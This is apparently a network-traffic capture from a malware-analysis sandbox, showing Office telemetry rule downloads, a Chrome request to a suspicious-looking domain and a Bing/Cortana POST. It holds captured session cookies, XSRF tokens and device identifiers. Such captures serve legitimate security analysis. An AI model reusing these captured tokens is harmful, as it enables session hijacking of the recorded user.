e3B0jn50emBznpWffZGRgJR7lYOon4qqaYGdrqilkZGOj5yVqLObwLSVpZKBvKbGkpa0qc2mh6vBn9Woo8PIlsy4k9mpyrbh2sGts6LApbulxcGfzdfiu97bsuiy6ufRs63GtMm4zM3t2+8F9NXAxvPI+t7Z694R6NL8FhECBeUL1RgfHuvw7B4V+t8UFSUrGywB5vkfJug0BCoECTkoKDAsGAs9PS0cDkIPFDoUGhgHIiwFJktKRiBVTQ82RTN
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 58 75 68 6e 4a 78 31 62 6e 4e 39 58 33 4a 31 6e 71 57 57 62 71 2b 70 63 47 35 76 6c 62 4f 4d 74 71 47 33 6b 48 65 4e 6d 5a 6e 42 6b 35 53 77 67 4c 79 36 68 73 66 42 6c 4b 43 38 7a 4b 33 46 76 36 6d 38 73 74 44 56 6b 61 50 55 78 70 6d 77 31 74 44 4d 71 64 32 61 31 4b 37 65 73 64 79 76 35 63 72 6b 76 4f 66 69 78 73 58 71 72 50 48 77 73 4d 57 74 77 4e 50 32 75 73 54 62 7a 39 54 70 39 72 72 57 42 41 4c 45 42 4e 58 64 39 77 6e 7a 39 75 6f 47 44 77 76 38 34 64 33 6d 30 74 34 56 42 38 2f 77 30 52 58 35 38 75 73 42 34 52 4d 67 45 64 66 35 33 65 62 36 2f 68 59 5a 4c 75 30 50 2b 7a 41 72 4b 41 4d 71 38 51 55 59 49 77 55 45 2b 67 7a 37 4f 44 38 7a 4d 78 51 42 45 53 38 34 53 55 41 56 46 41 73 65 44 45 68 50 53 55 4d 6b 45 46 45 51 52 78 4e 50 54 79 73 62 53 42 30 7a Data Ascii: XuhnJx1bnN9X3J1nqWWbq+pcG5vlbOMtqG3kHeNmZnBk5SwgLy6hsfBlKC8zK3Fv6m8stDVkaPUxpmw1tDMqd2a1K7esdyv5crkvOfixsXqrPHwsMWtwNP2usTbz9Tp9rrWBALEBNXd9wnz9uoGDwv84d3m0t4VB8/w0RX58usB4RMgEdf53eb6/hYZLu0P+zArKAMq8QUYIwUE+gz7OD8zMxQBES84SUAVFAseDEhPSUMkEFEQRxNPTysbSB0z
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 5a 78 63 6e 35 2f 64 34 6c 38 61 5a 6d 66 69 71 4b 4f 64 48 47 49 6d 48 6d 61 74 4a 53 6f 72 4a 4b 67 73 62 43 2b 6e 6f 2b 57 6c 4c 46 2f 77 4d 43 6e 71 4b 4b 5a 70 38 44 45 77 61 33 4a 77 63 69 4f 72 63 4c 51 72 72 76 4a 79 64 48 4a 6f 62 36 63 75 38 2f 51 76 38 4f 30 78 37 58 68 78 39 79 73 36 39 75 79 78 64 33 4d 7a 65 33 6c 30 4c 48 57 79 4c 37 4f 77 4c 6a 72 30 41 54 6b 2f 67 4d 41 38 73 54 46 37 41 58 45 35 77 63 48 36 67 7a 55 33 52 48 57 34 2b 6e 6f 31 66 50 37 2f 50 44 70 44 2f 50 7a 34 78 33 79 39 41 41 49 42 79 7a 35 2b 68 41 74 35 67 50 2b 42 41 34 58 4d 41 51 78 45 50 67 35 4c 43 6f 57 44 7a 6f 72 51 44 67 7a 46 52 59 5a 4e 42 38 61 52 6a 74 47 4a 55 49 6f 4d 69 70 44 50 69 49 50 57 44 6f 52 4e 42 49 7a 55 45 6f 65 4d 44 35 45 49 54 55 79 4e Data Ascii: Zxcn5/d4l8aZmfiqKOdHGImHmatJSorJKgsbC+no+WlLF/wMCnqKKZp8DEwa3JwciOrcLQrrvJydHJob6cu8/Qv8O0x7Xhx9ys69uyxd3Mze3l0LHWyL7OwLjr0ATk/gMA8sTF7AXE5wcH6gzU3RHW4+no1fP7/PDpD/Pz4x3y9AAIByz5+hAt5gP+BA4XMAQxEPg5LCoWDzorQDgzFRYZNB8aRjtGJUIoMipDPiIPWDoRNBIzUEoeMD5EITUyN
2024-10-07 19:53:11 UTC	1369	IN	Data Raw: 49 70 35 79 4f 67 34 47 64 6c 62 53 46 70 6f 4f 6a 64 58 5a 30 6d 4b 32 56 6f 5a 4f 36 67 4a 57 34 73 38 61 62 70 62 75 4a 69 4a 33 45 7a 6f 37 47 69 59 2f 4c 31 59 2f 5a 75 4b 57 34 6d 61 32 62 33 4e 61 73 73 4c 71 69 77 36 53 34 71 4c 2f 42 74 61 4b 72 33 38 61 77 77 74 47 37 71 74 33 65 36 73 72 56 35 38 66 48 37 72 6e 4c 7a 50 58 31 33 65 7a 74 2b 63 4b 36 42 74 66 67 33 75 6e 65 38 41 66 4d 33 78 49 43 31 4f 55 44 36 51 6b 63 36 74 6a 62 44 64 73 52 37 68 62 34 45 2b 49 41 42 2f 48 6d 46 65 6b 6d 35 67 4d 43 45 66 30 50 49 67 73 71 4a 51 33 34 42 68 62 33 48 44 49 58 45 68 4e 43 4f 2f 77 4e 4a 42 35 42 46 51 67 4b 52 42 55 68 43 51 34 62 4f 7a 51 77 49 45 38 73 55 6b 49 4d 4e 54 45 6c 4f 68 30 57 4f 54 39 6a 56 56 6f 34 50 46 6b 39 59 7a 64 65 58 69 Data Ascii: Ip5yOg4GdlbSFpoOjdXZ0mK2VoZO6gJW4s8abpbuJiJ3Ezo7GiY/L1Y/ZuKW4ma2b3NassLqiw6S4qL/BtaKr38awwtG7qt3e6srV58fH7rnLzPX13ezt+cK6Btfg3une8AfM3xIC1OUD6Qkc6tjbDdsR7hb4E+IAB/HmFekm5gMCEf0PIgsqJQ34Bhb3HDIXEhNCO/wNJB5BFQgKRBUhCQ4bOzQwIE8sUkIMNTElOh0WOT9jVVo4PFk9YzdeXi

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49762	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd482lxwq1dp2t1zwkc00000003q000000000g9s3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49763	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:10 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd48xlwdx82gahegw40000000046g0000000068gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49765	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 5a59384b-a01e-0053-3602-178603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd4824mj9d6vp65b6n4000000041g00000000wmq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49766	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: d3d0b776-b01e-003d-1803-17d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd482tlqpvyz9e93p54000000044g000000000027 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49764	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd48xlwdx82gahegw40000000042000000000w0pe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49768	104.21.30.20	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	1311	OUT	GET /favicon.ico HTTP/1.1 Host: z2k.3kf2d.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://z2k.3kf2d.com/ilPHd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjhTMzFxTzdOVHV4OHVqUis3eHZwcmc9PSIsInZhbHVlIjoiSUxRV0V2R2l0Q1Q2cTR0SzlNcTJOTVV5aEFGRUhWdDMydExUaG5NV2RNeTdqYWQ5ZWlrM0JzSG9QdWYxY2VOQmgzSWd2REpZSm0xVkhTMG54a2svVFc4YlVGa2lvM0t6QzZmN0dLc2pxM2xlQ3BtaTg4d1BodEFIV25aakpyengiLCJtYWMiOiI4ZGNlNjM3NTM0YWIxOWFkNmYwOWM4NmMxM2M2ODMyMjQ2NTk2MjkyYzYyODZhN2YwODc1ZTc1MGUyYmU3Nzc2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpqbUw5SDg2cXAwZllhUVVHeG1ta1E9PSIsInZhbHVlIjoiTk9KQi9TWHhxb0hDb0RUVGdwWERuOTE2TDlMalMxSmZ5WmhLbEJzZUJPR2JmNzRUWGxKcVhJMGlrbng0cHlvcjlZSmxFK1pQVVJ0ZXdCQlh6UGdGT3Vyb2NRL1pCeWl1ZDUvbGZRZ2w4TStxQnNQSCtXNDl2aHNIZDBCQm5YODYiLCJtYWMiOiIwYjEyMDlhZWExMTg3MTVlOWUxOWVhMzYwMTg1MzUwNTY1NzU0Y2E5NmVlNjAyZTFhZmRlMmI5NTAwYjNhOTExIiwidGFnIjoiIn0%3D
2024-10-07 19:53:11 UTC	655	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 12395 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=syntGHM6%2FxT4o5haIEW%2FZlLH8bZr7lHpTxahJA%2BIqTEy1eaCqmUqTy9py8oVNKoCOunBu5ArSc529ynU2LY6Qgq3xHFJZ5HHmU95Sn3mIgS%2F7cc0Ueo3fSnEXAhyFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Speculation-Rules: "/cdn-cgi/speculation" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8cf06f964ac54399-EWR
2024-10-07 19:53:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49770	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 09392ef7-101e-0046-3f05-1791b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd48tqvfc1ysmtbdrg000000003qg00000000wv3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49771	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 20b36261-201e-006e-7102-17bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195311Z-1657d5bbd48xsz2nuzq4vfrzg800000003x000000000205w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49767	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:11 UTC	2100	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1728330758844&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-10-07 19:53:11 UTC	1	OUT	Data Raw: 3c Data Ascii: <
